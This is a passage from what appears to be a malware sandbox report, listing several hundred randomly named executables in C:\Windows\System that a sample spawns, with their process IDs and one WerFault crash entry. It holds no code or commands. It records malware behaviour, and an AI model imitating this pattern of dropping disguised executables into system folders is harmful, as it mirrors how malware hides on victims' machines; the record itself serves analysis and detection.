- C:\Windows\System\uwQfItw.exe
  C:\Windows\System\uwQfItw.exe
  2⤵
  PID:12124
- C:\Windows\System\WVvoMPg.exe
  C:\Windows\System\WVvoMPg.exe
  2⤵
  PID:12140
- C:\Windows\System\oERRLZo.exe
  C:\Windows\System\oERRLZo.exe
  2⤵
  PID:12160
- C:\Windows\System\MZfaDCC.exe
  C:\Windows\System\MZfaDCC.exe
  2⤵
  PID:12176
- C:\Windows\System\lgwfazh.exe
  C:\Windows\System\lgwfazh.exe
  2⤵
  PID:12192
- C:\Windows\System\SQNoYmC.exe
  C:\Windows\System\SQNoYmC.exe
  2⤵
  PID:12216
- C:\Windows\System\FgIAnHY.exe
  C:\Windows\System\FgIAnHY.exe
  2⤵
  PID:12232
- C:\Windows\System\LMJdmIr.exe
  C:\Windows\System\LMJdmIr.exe
  2⤵
  PID:12252
- C:\Windows\System\FpaTJXt.exe
  C:\Windows\System\FpaTJXt.exe
  2⤵
  PID:12272
- C:\Windows\System\ihVOmce.exe
  C:\Windows\System\ihVOmce.exe
  2⤵
  PID:8800
- C:\Windows\System\BfrBgwt.exe
  C:\Windows\System\BfrBgwt.exe
  2⤵
  PID:10012
- C:\Windows\System\xkxLSPH.exe
  C:\Windows\System\xkxLSPH.exe
  2⤵
  PID:8844
- C:\Windows\System\KfyXaaj.exe
  C:\Windows\System\KfyXaaj.exe
  2⤵
  PID:10096
- C:\Windows\System\ziKgTuw.exe
  C:\Windows\System\ziKgTuw.exe
  2⤵
  PID:10172
- C:\Windows\System\inlYKXN.exe
  C:\Windows\System\inlYKXN.exe
  2⤵
  PID:10236
- C:\Windows\System\erevfbU.exe
  C:\Windows\System\erevfbU.exe
  2⤵
  PID:100
- C:\Windows\System\XwJKsLi.exe
  C:\Windows\System\XwJKsLi.exe
  2⤵
  PID:8764
- C:\Windows\System\qLmPCqw.exe
  C:\Windows\System\qLmPCqw.exe
  2⤵
  PID:8596
- C:\Windows\System\DAVDDEw.exe
  C:\Windows\System\DAVDDEw.exe
  2⤵
  PID:8968
- C:\Windows\System\eyjhTUw.exe
  C:\Windows\System\eyjhTUw.exe
  2⤵
  PID:10308
- C:\Windows\System\UnIHVKC.exe
  C:\Windows\System\UnIHVKC.exe
  2⤵
  PID:10380
- C:\Windows\System\pnrhUZs.exe
  C:\Windows\System\pnrhUZs.exe
  2⤵
  PID:9268
- C:\Windows\System\iGSGtNh.exe
  C:\Windows\System\iGSGtNh.exe
  2⤵
  PID:10464
- C:\Windows\System\yTTmrXo.exe
  C:\Windows\System\yTTmrXo.exe
  2⤵
  PID:12292
- C:\Windows\System\bUiJWec.exe
  C:\Windows\System\bUiJWec.exe
  2⤵
  PID:12308
- C:\Windows\System\wYbgkPe.exe
  C:\Windows\System\wYbgkPe.exe
  2⤵
  PID:12328
- C:\Windows\System\ojIHgXq.exe
  C:\Windows\System\ojIHgXq.exe
  2⤵
  PID:12344
- C:\Windows\System\InbGEmR.exe
  C:\Windows\System\InbGEmR.exe
  2⤵
  PID:12364
- C:\Windows\System\WhhbyWt.exe
  C:\Windows\System\WhhbyWt.exe
  2⤵
  PID:12384
- C:\Windows\System\qvgKRUC.exe
  C:\Windows\System\qvgKRUC.exe
  2⤵
  PID:12400
- C:\Windows\System\bviHqwZ.exe
  C:\Windows\System\bviHqwZ.exe
  2⤵
  PID:12420
- C:\Windows\System\cMNhYuj.exe
  C:\Windows\System\cMNhYuj.exe
  2⤵
  PID:12436
- C:\Windows\System\kCdEBVU.exe
  C:\Windows\System\kCdEBVU.exe
  2⤵
  PID:12460
- C:\Windows\System\hyCfRnx.exe
  C:\Windows\System\hyCfRnx.exe
  2⤵
  PID:12476
- C:\Windows\System\XqbKRnW.exe
  C:\Windows\System\XqbKRnW.exe
  2⤵
  PID:12504
- C:\Windows\System\uGquFSZ.exe
  C:\Windows\System\uGquFSZ.exe
  2⤵
  PID:12520
- C:\Windows\System\CFvDGLN.exe
  C:\Windows\System\CFvDGLN.exe
  2⤵
  PID:12536
- C:\Windows\System\QPSFYYA.exe
  C:\Windows\System\QPSFYYA.exe
  2⤵
  PID:12552
- C:\Windows\System\NMdKPbh.exe
  C:\Windows\System\NMdKPbh.exe
  2⤵
  PID:12568
- C:\Windows\System\nSaqnDt.exe
  C:\Windows\System\nSaqnDt.exe
  2⤵
  PID:11272
- C:\Windows\System\mdQickC.exe
  C:\Windows\System\mdQickC.exe
  2⤵
  PID:12020
- C:\Windows\System\gprkUKQ.exe
  C:\Windows\System\gprkUKQ.exe
  2⤵
  PID:12080
- C:\Windows\System\fUynXBQ.exe
  C:\Windows\System\fUynXBQ.exe
  2⤵
  PID:12132
- C:\Windows\System\DTxFimj.exe
  C:\Windows\System\DTxFimj.exe
  2⤵
  PID:12188
- C:\Windows\System\kqiVekn.exe
  C:\Windows\System\kqiVekn.exe
  2⤵
  PID:6764
- C:\Windows\System\wneHHME.exe
  C:\Windows\System\wneHHME.exe
  2⤵
  PID:12248
- C:\Windows\System\AUKFZMM.exe
  C:\Windows\System\AUKFZMM.exe
  2⤵
  PID:9040
- C:\Windows\System\qrRdSpd.exe
  C:\Windows\System\qrRdSpd.exe
  2⤵
  PID:9328
- C:\Windows\System\SQMhMXt.exe
  C:\Windows\System\SQMhMXt.exe
  2⤵
  PID:9544
- C:\Windows\System\kkypYlq.exe
  C:\Windows\System\kkypYlq.exe
  2⤵
  PID:10820
- C:\Windows\System\kFkYfNV.exe
  C:\Windows\System\kFkYfNV.exe
  2⤵
  PID:11040
- C:\Windows\System\FmWAvkq.exe
  C:\Windows\System\FmWAvkq.exe
  2⤵
  PID:11164
- C:\Windows\System\MjEfRac.exe
  C:\Windows\System\MjEfRac.exe
  2⤵
  PID:10732
- C:\Windows\System\gwyGVVo.exe
  C:\Windows\System\gwyGVVo.exe
  2⤵
  PID:10848
- C:\Windows\System\MdbIdct.exe
  C:\Windows\System\MdbIdct.exe
  2⤵
  PID:10896
- C:\Windows\System\zXbaQHG.exe
  C:\Windows\System\zXbaQHG.exe
  2⤵
  PID:9348
- C:\Windows\System\oULamZq.exe
  C:\Windows\System\oULamZq.exe
  2⤵
  PID:9524
- C:\Windows\System\HHFvgzC.exe
  C:\Windows\System\HHFvgzC.exe
  2⤵
  PID:11820
- C:\Windows\System\TeXiJxV.exe
  C:\Windows\System\TeXiJxV.exe
  2⤵
  PID:11784
- C:\Windows\System\TrONkrb.exe
  C:\Windows\System\TrONkrb.exe
  2⤵
  PID:11704
- C:\Windows\System\VmgDHYt.exe
  C:\Windows\System\VmgDHYt.exe
  2⤵
  PID:11636
- C:\Windows\System\vwanidS.exe
  C:\Windows\System\vwanidS.exe
  2⤵
  PID:11432
- C:\Windows\System\kQfHxfX.exe
  C:\Windows\System\kQfHxfX.exe
  2⤵
  PID:11376
- C:\Windows\System\mipBkUh.exe
  C:\Windows\System\mipBkUh.exe
  2⤵
  PID:11888
- C:\Windows\System\JMJtAAC.exe
  C:\Windows\System\JMJtAAC.exe
  2⤵
  PID:13044
- C:\Windows\System\cuSzIjm.exe
  C:\Windows\System\cuSzIjm.exe
  2⤵
  PID:12200
- C:\Windows\System\rFhQEsi.exe
  C:\Windows\System\rFhQEsi.exe
  2⤵
  PID:12852
- C:\Windows\System\zbSoegq.exe
  C:\Windows\System\zbSoegq.exe
  2⤵
  PID:13108
- C:\Windows\System\MOuxLSt.exe
  C:\Windows\System\MOuxLSt.exe
  2⤵
  PID:12772
- C:\Windows\System\eMtzPpI.exe
  C:\Windows\System\eMtzPpI.exe
  2⤵
  PID:12760
- C:\Windows\System\JunyeyN.exe
  C:\Windows\System\JunyeyN.exe
  2⤵
  PID:12716
- C:\Windows\System\YmtgCmf.exe
  C:\Windows\System\YmtgCmf.exe
  2⤵
  PID:12676
- C:\Windows\System\bXkIVhj.exe
  C:\Windows\System\bXkIVhj.exe
  2⤵
  PID:12620
- C:\Windows\System\wzdUJxc.exe
  C:\Windows\System\wzdUJxc.exe
  2⤵
  PID:12596
- C:\Windows\System\mCEEnAD.exe
  C:\Windows\System\mCEEnAD.exe
  2⤵
  PID:13156
- C:\Windows\System\dANmceC.exe
  C:\Windows\System\dANmceC.exe
  2⤵
  PID:9708
- C:\Windows\System\cndouQu.exe
  C:\Windows\System\cndouQu.exe
  2⤵
  PID:9784
- C:\Windows\System\HZiosmG.exe
  C:\Windows\System\HZiosmG.exe
  2⤵
  PID:13248
- C:\Windows\System\uvFIIeM.exe
  C:\Windows\System\uvFIIeM.exe
  2⤵
  PID:13296
- C:\Windows\System\KFyVXcp.exe
  C:\Windows\System\KFyVXcp.exe
  2⤵
  PID:9704
- C:\Windows\System\TTOsWSA.exe
  C:\Windows\System\TTOsWSA.exe
  2⤵
  PID:11608
- C:\Windows\System\QdoOQfX.exe
  C:\Windows\System\QdoOQfX.exe
  2⤵
  PID:11624
- C:\Windows\System\RQDVHil.exe
  C:\Windows\System\RQDVHil.exe
  2⤵
  PID:11496
- C:\Windows\System\yBARHXg.exe
  C:\Windows\System\yBARHXg.exe
  2⤵
  PID:8700
- C:\Windows\System\kDdJGPf.exe
  C:\Windows\System\kDdJGPf.exe
  2⤵
  PID:8340
- C:\Windows\System\NYgfYkx.exe
  C:\Windows\System\NYgfYkx.exe
  2⤵
  PID:3480
- C:\Windows\System\CDySwsX.exe
  C:\Windows\System\CDySwsX.exe
  2⤵
  PID:10516
- C:\Windows\System\BjltGre.exe
  C:\Windows\System\BjltGre.exe
  2⤵
  PID:7368
- C:\Windows\System\SjgrxIO.exe
  C:\Windows\System\SjgrxIO.exe
  2⤵
  PID:12340
- C:\Windows\System\wfNBOVA.exe
  C:\Windows\System\wfNBOVA.exe
  2⤵
  PID:4760
- C:\Windows\System\rLrqayp.exe
  C:\Windows\System\rLrqayp.exe
  2⤵
  PID:9868
- C:\Windows\System\ezuZHJv.exe
  C:\Windows\System\ezuZHJv.exe
  2⤵
  PID:10288
- C:\Windows\System\QbcudSl.exe
  C:\Windows\System\QbcudSl.exe
  2⤵
  PID:7564
- C:\Windows\System\pnRhymO.exe
  C:\Windows\System\pnRhymO.exe
  2⤵
  PID:12548
- C:\Windows\System\SKIeBNN.exe
  C:\Windows\System\SKIeBNN.exe
  2⤵
  PID:11660
- C:\Windows\System\nIywbGJ.exe
  C:\Windows\System\nIywbGJ.exe
  2⤵
  PID:12924
- C:\Windows\System\gwnMtsQ.exe
  C:\Windows\System\gwnMtsQ.exe
  2⤵
  PID:9596
- C:\Windows\System\IWIGuZS.exe
  C:\Windows\System\IWIGuZS.exe
  2⤵
  PID:9384
- C:\Windows\System\YAYQFbF.exe
  C:\Windows\System\YAYQFbF.exe
  2⤵
  PID:1292
- C:\Windows\System\qwMVkFg.exe
  C:\Windows\System\qwMVkFg.exe
  2⤵
  PID:10044
- C:\Windows\System\FMdDtZs.exe
  C:\Windows\System\FMdDtZs.exe
  2⤵
  PID:7484
- C:\Windows\System\rVmCZcl.exe
  C:\Windows\System\rVmCZcl.exe
  2⤵
  PID:11476
- C:\Windows\System\yEyTYSC.exe
  C:\Windows\System\yEyTYSC.exe
  2⤵
  PID:12168
- C:\Windows\System\jczxloP.exe
  C:\Windows\System\jczxloP.exe
  2⤵
  PID:10868
- C:\Windows\System\eqVVNNp.exe
  C:\Windows\System\eqVVNNp.exe
  2⤵
  PID:9556
- C:\Windows\System\PncHWqM.exe
  C:\Windows\System\PncHWqM.exe
  2⤵
  PID:12356
- C:\Windows\System\dXctmEK.exe
  C:\Windows\System\dXctmEK.exe
  2⤵
  PID:11892
- C:\Windows\System\kjBvBXu.exe
  C:\Windows\System\kjBvBXu.exe
  2⤵
  PID:12604
- C:\Windows\System\KYxxWzI.exe
  C:\Windows\System\KYxxWzI.exe
  2⤵
  PID:11728
- C:\Windows\System\mARVmKD.exe
  C:\Windows\System\mARVmKD.exe
  2⤵
  PID:8832
- C:\Windows\System\IhvixcV.exe
  C:\Windows\System\IhvixcV.exe
  2⤵
  PID:13064
- C:\Windows\System\xpbswpA.exe
  C:\Windows\System\xpbswpA.exe
  2⤵
  PID:12704
- C:\Windows\System\CcIxvVo.exe
  C:\Windows\System\CcIxvVo.exe
  2⤵
  PID:9884
- C:\Windows\System\rCsnAhl.exe
  C:\Windows\System\rCsnAhl.exe
  2⤵
  PID:12576
- C:\Windows\System\rKniNkB.exe
  C:\Windows\System\rKniNkB.exe
  2⤵
  PID:11960
- C:\Windows\System\CjZoNaK.exe
  C:\Windows\System\CjZoNaK.exe
  2⤵
  PID:8004
- C:\Windows\System\ZClSUAm.exe
  C:\Windows\System\ZClSUAm.exe
  2⤵
  PID:10476
- C:\Windows\System\FekvrHU.exe
  C:\Windows\System\FekvrHU.exe
  2⤵
  PID:9888
- C:\Windows\System\wEIAKdz.exe
  C:\Windows\System\wEIAKdz.exe
  2⤵
  PID:9012
- C:\Windows\System\KDBSvkK.exe
  C:\Windows\System\KDBSvkK.exe
  2⤵
  PID:6816
- C:\Windows\System\nmwSuio.exe
  C:\Windows\System\nmwSuio.exe
  2⤵
  PID:7912
- C:\Windows\System\wSpSZmC.exe
  C:\Windows\System\wSpSZmC.exe
  2⤵
  PID:9424
- C:\Windows\System\EqgCEIh.exe
  C:\Windows\System\EqgCEIh.exe
  2⤵
  PID:9404
- C:\Windows\System\caMPGQN.exe
  C:\Windows\System\caMPGQN.exe
  2⤵
  PID:1296
- C:\Windows\System\BisnzbX.exe
  C:\Windows\System\BisnzbX.exe
  2⤵
  PID:11004
- C:\Windows\System\WWDJpZr.exe
  C:\Windows\System\WWDJpZr.exe
  2⤵
  PID:8804
- C:\Windows\System\bChmZus.exe
  C:\Windows\System\bChmZus.exe
  2⤵
  PID:11812
- C:\Windows\System\sGxmNko.exe
  C:\Windows\System\sGxmNko.exe
  2⤵
  PID:12484
- C:\Windows\System\OlLVPKE.exe
  C:\Windows\System\OlLVPKE.exe
  2⤵
  PID:9960
- C:\Windows\System\YpMdWsz.exe
  C:\Windows\System\YpMdWsz.exe
  2⤵
  PID:8204
- C:\Windows\System\opAHlGw.exe
  C:\Windows\System\opAHlGw.exe
  2⤵
  PID:8780
- C:\Windows\System\WUtkLmG.exe
  C:\Windows\System\WUtkLmG.exe
  2⤵
  PID:8432
- C:\Windows\System\jWtJcsm.exe
  C:\Windows\System\jWtJcsm.exe
  2⤵
  PID:13264
- C:\Windows\System\scyExvy.exe
  C:\Windows\System\scyExvy.exe
  2⤵
  PID:2332
- C:\Windows\System\KwKqQgl.exe
  C:\Windows\System\KwKqQgl.exe
  2⤵
  PID:10664
- C:\Windows\System\YWECQoJ.exe
  C:\Windows\System\YWECQoJ.exe
  2⤵
  PID:9408
- C:\Windows\System\YVDMqwm.exe
  C:\Windows\System\YVDMqwm.exe
  2⤵
  PID:10008
- C:\Windows\System\vuUnpzV.exe
  C:\Windows\System\vuUnpzV.exe
  2⤵
  PID:900
- C:\Windows\System\TStxgEo.exe
  C:\Windows\System\TStxgEo.exe
  2⤵
  PID:3532
- C:\Windows\System\veBuQrO.exe
  C:\Windows\System\veBuQrO.exe
  2⤵
  PID:12184
- C:\Windows\System\iGilerU.exe
  C:\Windows\System\iGilerU.exe
  2⤵
  PID:9632
- C:\Windows\System\JHgutVH.exe
  C:\Windows\System\JHgutVH.exe
  2⤵
  PID:11072
- C:\Windows\System\cKcCLAB.exe
  C:\Windows\System\cKcCLAB.exe
  2⤵
  PID:5368
- C:\Windows\System\ppMtvnV.exe
  C:\Windows\System\ppMtvnV.exe
  2⤵
  PID:4740
- C:\Windows\System\xRcywLe.exe
  C:\Windows\System\xRcywLe.exe
  2⤵
  PID:5832
- C:\Windows\System\LgnkPPk.exe
  C:\Windows\System\LgnkPPk.exe
  2⤵
  PID:9628
- C:\Windows\System\xMvQtdv.exe
  C:\Windows\System\xMvQtdv.exe
  2⤵
  PID:10444
- C:\Windows\System\IdMWrDX.exe
  C:\Windows\System\IdMWrDX.exe
  2⤵
  PID:9728
- C:\Windows\System\sNZjteU.exe
  C:\Windows\System\sNZjteU.exe
  2⤵
  PID:12408
- C:\Windows\System\LiCtIPf.exe
  C:\Windows\System\LiCtIPf.exe
  2⤵
  PID:13468
- C:\Windows\System\HlTjepe.exe
  C:\Windows\System\HlTjepe.exe
  2⤵
  PID:13508
- C:\Windows\System\rbrVUyV.exe
  C:\Windows\System\rbrVUyV.exe
  2⤵
  PID:13524
- C:\Windows\System\BqxzdJf.exe
  C:\Windows\System\BqxzdJf.exe
  2⤵
  PID:13544
- C:\Windows\System\gxJLSsO.exe
  C:\Windows\System\gxJLSsO.exe
  2⤵
  PID:13564
- C:\Windows\System\FYHVTug.exe
  C:\Windows\System\FYHVTug.exe
  2⤵
  PID:13584
- C:\Windows\System\arpWbxi.exe
  C:\Windows\System\arpWbxi.exe
  2⤵
  PID:13604
- C:\Windows\System\YeCrgKN.exe
  C:\Windows\System\YeCrgKN.exe
  2⤵
  PID:13712
- C:\Windows\System\bqThANE.exe
  C:\Windows\System\bqThANE.exe
  2⤵
  PID:13768
- C:\Windows\System\cvhwHeB.exe
  C:\Windows\System\cvhwHeB.exe
  2⤵
  PID:13784
- C:\Windows\System\hfJrsFR.exe
  C:\Windows\System\hfJrsFR.exe
  2⤵
  PID:13876
- C:\Windows\System\tWGXiig.exe
  C:\Windows\System\tWGXiig.exe
  2⤵
  PID:13892
- C:\Windows\System\XjNBunl.exe
  C:\Windows\System\XjNBunl.exe
  2⤵
  PID:13912
- C:\Windows\System\SIcQKlC.exe
  C:\Windows\System\SIcQKlC.exe
  2⤵
  PID:10580
- C:\Windows\System\zbJXiQV.exe
  C:\Windows\System\zbJXiQV.exe
  2⤵
  PID:13340
- C:\Windows\System\bUhsOTJ.exe
  C:\Windows\System\bUhsOTJ.exe
  2⤵
  PID:13368
- C:\Windows\System\EQzkHcx.exe
  C:\Windows\System\EQzkHcx.exe
  2⤵
  PID:5840
- C:\Windows\System\zblSToK.exe
  C:\Windows\System\zblSToK.exe
  2⤵
  PID:6096
- C:\Windows\System\WgNnmrX.exe
  C:\Windows\System\WgNnmrX.exe
  2⤵
  PID:13672
- C:\Windows\System\WYUqnAm.exe
  C:\Windows\System\WYUqnAm.exe
  2⤵
  PID:13792
- C:\Windows\System\vRZHWAE.exe
  C:\Windows\System\vRZHWAE.exe
  2⤵
  PID:3640
- C:\Windows\System\DLgKeyO.exe
  C:\Windows\System\DLgKeyO.exe
  2⤵
  PID:14248
- C:\Windows\System\SMyukXI.exe
  C:\Windows\System\SMyukXI.exe
  2⤵
  PID:1988
- C:\Windows\System\OjUXgLG.exe
  C:\Windows\System\OjUXgLG.exe
  2⤵
  PID:13932
- C:\Windows\System\CFFfOPW.exe
  C:\Windows\System\CFFfOPW.exe
  2⤵
  PID:13984
- C:\Windows\System\HpzRIZv.exe
  C:\Windows\System\HpzRIZv.exe
  2⤵
  PID:13972
- C:\Windows\System\hUWdMuI.exe
  C:\Windows\System\hUWdMuI.exe
  2⤵
  PID:14048
- C:\Windows\System\mflCcHc.exe
  C:\Windows\System\mflCcHc.exe
  2⤵
  PID:14084
- C:\Windows\System\dYSZmZS.exe
  C:\Windows\System\dYSZmZS.exe
  2⤵
  PID:14112
- C:\Windows\System\tSDduTz.exe
  C:\Windows\System\tSDduTz.exe
  2⤵
  PID:14096
- C:\Windows\System\wNcbIZT.exe
  C:\Windows\System\wNcbIZT.exe
  2⤵
  PID:5036
- C:\Windows\System\SvepJTS.exe
  C:\Windows\System\SvepJTS.exe
  2⤵
  PID:1676
- C:\Windows\System\lfmzeZs.exe
  C:\Windows\System\lfmzeZs.exe
  2⤵
  PID:4396
- C:\Windows\System\NLJmazd.exe
  C:\Windows\System\NLJmazd.exe
  2⤵
  PID:14024
- C:\Windows\System\cpPjolb.exe
  C:\Windows\System\cpPjolb.exe
  2⤵
  PID:14224
- C:\Windows\System\kUiJoSg.exe
  C:\Windows\System\kUiJoSg.exe
  2⤵
  PID:13800
- C:\Windows\System\SWihCQl.exe
  C:\Windows\System\SWihCQl.exe
  2⤵
  PID:3232
- C:\Windows\System\QKAlcUH.exe
  C:\Windows\System\QKAlcUH.exe
  2⤵
  PID:14292
- C:\Windows\System\qDUQMhh.exe
  C:\Windows\System\qDUQMhh.exe
  2⤵
  PID:14308
- C:\Windows\System\hSbbIvu.exe
  C:\Windows\System\hSbbIvu.exe
  2⤵
  PID:14312
- C:\Windows\System\rSSgsLs.exe
  C:\Windows\System\rSSgsLs.exe
  2⤵
  PID:6892
- C:\Windows\System\OwPObDd.exe
  C:\Windows\System\OwPObDd.exe
  2⤵
  PID:13500
- C:\Windows\System\bUIFBrc.exe
  C:\Windows\System\bUIFBrc.exe
  2⤵
  PID:13520
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 13520 -s 240
    3⤵
    PID:13460
- C:\Windows\System\hlPqLby.exe
  C:\Windows\System\hlPqLby.exe
  2⤵
  PID:13596
- C:\Windows\System\cKnGUKm.exe
  C:\Windows\System\cKnGUKm.exe
  2⤵
  PID:13648
- C:\Windows\System\vDjWkeK.exe
  C:\Windows\System\vDjWkeK.exe
  2⤵
  PID:13668
- C:\Windows\System\YXKTZRF.exe
  C:\Windows\System\YXKTZRF.exe
  2⤵
  PID:13720
- C:\Windows\System\aYAauHW.exe
  C:\Windows\System\aYAauHW.exe
  2⤵
  PID:13364
- C:\Windows\System\NJHOEZY.exe
  C:\Windows\System\NJHOEZY.exe
  2⤵
  PID:13824
- C:\Windows\System\UjHeOhv.exe
  C:\Windows\System\UjHeOhv.exe
  2⤵
  PID:1372
- C:\Windows\System\GFjTsrG.exe
  C:\Windows\System\GFjTsrG.exe
  2⤵
  PID:13988
- C:\Windows\System\QnKJvbp.exe
  C:\Windows\System\QnKJvbp.exe
  2⤵
  PID:14068
- C:\Windows\System\mOyNlzC.exe
  C:\Windows\System\mOyNlzC.exe
  2⤵
  PID:3664
- C:\Windows\System\OXZjGgc.exe
  C:\Windows\System\OXZjGgc.exe
  2⤵
  PID:3212
- C:\Windows\System\MDDkCMT.exe
  C:\Windows\System\MDDkCMT.exe
  2⤵
  PID:5004
- C:\Windows\System\PNdjreq.exe
  C:\Windows\System\PNdjreq.exe
  2⤵
  PID:5196
- C:\Windows\System\wJpeELI.exe
  C:\Windows\System\wJpeELI.exe
  2⤵
  PID:14244
- C:\Windows\System\tmJMGfC.exe
  C:\Windows\System\tmJMGfC.exe
  2⤵
  PID:2828
- C:\Windows\System\ElekjYC.exe
  C:\Windows\System\ElekjYC.exe
  2⤵
  PID:5924
- C:\Windows\System\wnJIfqp.exe
  C:\Windows\System\wnJIfqp.exe
  2⤵
  PID:5236
- C:\Windows\System\oaOFxjN.exe
  C:\Windows\System\oaOFxjN.exe
  2⤵
  PID:13644
- C:\Windows\System\BGEiscp.exe
  C:\Windows\System\BGEiscp.exe
  2⤵
  PID:14320
- C:\Windows\System\xWseAMZ.exe
  C:\Windows\System\xWseAMZ.exe
  2⤵
  PID:5172
- C:\Windows\System\wuVQvQl.exe
  C:\Windows\System\wuVQvQl.exe
  2⤵
  PID:5360
- C:\Windows\System\YDMtQHJ.exe
  C:\Windows\System\YDMtQHJ.exe
  2⤵
  PID:5340
- C:\Windows\System\wMruelQ.exe
  C:\Windows\System\wMruelQ.exe
  2⤵
  PID:14304
- C:\Windows\System\agqKXPn.exe
  C:\Windows\System\agqKXPn.exe
  2⤵
  PID:3488
- C:\Windows\System\VttqPXH.exe
  C:\Windows\System\VttqPXH.exe
  2⤵
  PID:13436
- C:\Windows\System\UUBtNCZ.exe
  C:\Windows\System\UUBtNCZ.exe
  2⤵
  PID:13408
- C:\Windows\System\ReBnlVW.exe
  C:\Windows\System\ReBnlVW.exe
  2⤵
  PID:13428
- C:\Windows\System\LxQNVZD.exe
  C:\Windows\System\LxQNVZD.exe
  2⤵
  PID:13612
- C:\Windows\System\fGKkUss.exe
  C:\Windows\System\fGKkUss.exe
  2⤵
  PID:13560
- C:\Windows\System\hRNNDSX.exe
  C:\Windows\System\hRNNDSX.exe
  2⤵
  PID:3716
- C:\Windows\System\SNxDrlz.exe
  C:\Windows\System\SNxDrlz.exe
  2⤵
  PID:13624
- C:\Windows\System\fibvhNO.exe
  C:\Windows\System\fibvhNO.exe
  2⤵
  PID:11128
- C:\Windows\System\AQJPemn.exe
  C:\Windows\System\AQJPemn.exe
  2⤵
  PID:5936
- C:\Windows\System\AXsYDxB.exe
  C:\Windows\System\AXsYDxB.exe
  2⤵
  PID:5376
- C:\Windows\System\GItcUtM.exe
  C:\Windows\System\GItcUtM.exe
  2⤵
  PID:13696
- C:\Windows\System\rAoljIG.exe
  C:\Windows\System\rAoljIG.exe
  2⤵
  PID:6156
- C:\Windows\System\xPYjIZe.exe
  C:\Windows\System\xPYjIZe.exe
  2⤵
  PID:13540
- C:\Windows\System\bCkjyna.exe
  C:\Windows\System\bCkjyna.exe
  2⤵
  PID:2096
- C:\Windows\System\FkPOPdy.exe
  C:\Windows\System\FkPOPdy.exe
  2⤵
  PID:4904
- C:\Windows\System\xCQIbIS.exe
  C:\Windows\System\xCQIbIS.exe
  2⤵
  PID:3620
- C:\Windows\System\tqVihQy.exe
  C:\Windows\System\tqVihQy.exe
  2⤵
  PID:5404
- C:\Windows\System\FKnqLuM.exe
  C:\Windows\System\FKnqLuM.exe
  2⤵
  PID:5200
- C:\Windows\System\ydxlSgv.exe
  C:\Windows\System\ydxlSgv.exe
  2⤵
  PID:3192
- C:\Windows\System\MPTYkdH.exe
  C:\Windows\System\MPTYkdH.exe
  2⤵
  PID:14012
- C:\Windows\System\DXeAeOo.exe
  C:\Windows\System\DXeAeOo.exe
  2⤵
  PID:3388
- C:\Windows\System\mnXVYhy.exe
  C:\Windows\System\mnXVYhy.exe
  2⤵
  PID:5900
- C:\Windows\System\Taqtbna.exe
  C:\Windows\System\Taqtbna.exe
  2⤵
  PID:6240
- C:\Windows\System\UTqKKjk.exe
  C:\Windows\System\UTqKKjk.exe
  2⤵
  PID:5144
- C:\Windows\System\hauOTYu.exe
  C:\Windows\System\hauOTYu.exe
  2⤵
  PID:4544
- C:\Windows\System\nqSwRfC.exe
  C:\Windows\System\nqSwRfC.exe
  2⤵
  PID:13976
- C:\Windows\System\SEQnOeo.exe
  C:\Windows\System\SEQnOeo.exe
  2⤵
  PID:6356
- C:\Windows\System\lfBpZlp.exe
  C:\Windows\System\lfBpZlp.exe
  2⤵
  PID:14148
- C:\Windows\System\VJyqKbL.exe
  C:\Windows\System\VJyqKbL.exe
  2⤵
  PID:2516
- C:\Windows\System\HrqoSyH.exe
  C:\Windows\System\HrqoSyH.exe
  2⤵
  PID:6724
- C:\Windows\System\sUtomFh.exe
  C:\Windows\System\sUtomFh.exe
  2⤵
  PID:5308
- C:\Windows\System\LYUOvPh.exe
  C:\Windows\System\LYUOvPh.exe
  2⤵
  PID:2492
- C:\Windows\System\SFDpCMB.exe
  C:\Windows\System\SFDpCMB.exe
  2⤵
  PID:14256
- C:\Windows\System\aoZzHFr.exe
  C:\Windows\System\aoZzHFr.exe
  2⤵
  PID:14124
- C:\Windows\System\uxSJEPf.exe
  C:\Windows\System\uxSJEPf.exe
  2⤵
  PID:14108
- C:\Windows\System\GjKRSvq.exe
  C:\Windows\System\GjKRSvq.exe
  2⤵
  PID:3596
- C:\Windows\System\IITsULY.exe
  C:\Windows\System\IITsULY.exe
  2⤵
  PID:14208
- C:\Windows\System\TQEBmkt.exe
  C:\Windows\System\TQEBmkt.exe
  2⤵
  PID:14324
- C:\Windows\System\nqeywUF.exe
  C:\Windows\System\nqeywUF.exe
  2⤵
  PID:412
- C:\Windows\System\UopmLQI.exe
  C:\Windows\System\UopmLQI.exe
  2⤵
  PID:13444
- C:\Windows\System\eQwzofe.exe
  C:\Windows\System\eQwzofe.exe
  2⤵
  PID:5708
- C:\Windows\System\LegkBpJ.exe
  C:\Windows\System\LegkBpJ.exe
  2⤵
  PID:6540
- C:\Windows\System\UZTziNV.exe
  C:\Windows\System\UZTziNV.exe
  2⤵
  PID:2864
- C:\Windows\System\RIqWEun.exe
  C:\Windows\System\RIqWEun.exe
  2⤵
  PID:13780
- C:\Windows\System\bgIsduC.exe
  C:\Windows\System\bgIsduC.exe
  2⤵
  PID:13356
- C:\Windows\System\ecxvdoL.exe
  C:\Windows\System\ecxvdoL.exe
  2⤵
  PID:6824
- C:\Windows\System\mrrlJwF.exe
  C:\Windows\System\mrrlJwF.exe
  2⤵
  PID:6880
- C:\Windows\System\OnCRcmf.exe
  C:\Windows\System\OnCRcmf.exe
  2⤵
  PID:6888
- C:\Windows\System\UPcFOaN.exe
  C:\Windows\System\UPcFOaN.exe
  2⤵
  PID:4688
- C:\Windows\System\pNacjMd.exe
  C:\Windows\System\pNacjMd.exe
  2⤵
  PID:5252
- C:\Windows\System\ORunmrE.exe
  C:\Windows\System\ORunmrE.exe
  2⤵
  PID:13460
- C:\Windows\System\BRRiDDB.exe
  C:\Windows\System\BRRiDDB.exe
  2⤵
  PID:6884
- C:\Windows\System\jmcTRTk.exe
  C:\Windows\System\jmcTRTk.exe
  2⤵
  PID:584
- C:\Windows\System\ozvJZgg.exe
  C:\Windows\System\ozvJZgg.exe
  2⤵
  PID:6912
- C:\Windows\System\UkOvxNT.exe
  C:\Windows\System\UkOvxNT.exe
  2⤵
  PID:6624
- C:\Windows\System\lhAIpqJ.exe
  C:\Windows\System\lhAIpqJ.exe
  2⤵
  PID:5908
- C:\Windows\System\joisvgZ.exe
  C:\Windows\System\joisvgZ.exe
  2⤵
  PID:14196
- C:\Windows\System\bpaSFTk.exe
  C:\Windows\System\bpaSFTk.exe
  2⤵
  PID:5916
- C:\Windows\System\iKImgmH.exe
  C:\Windows\System\iKImgmH.exe
  2⤵
  PID:12812
- C:\Windows\System\kHBsbcb.exe
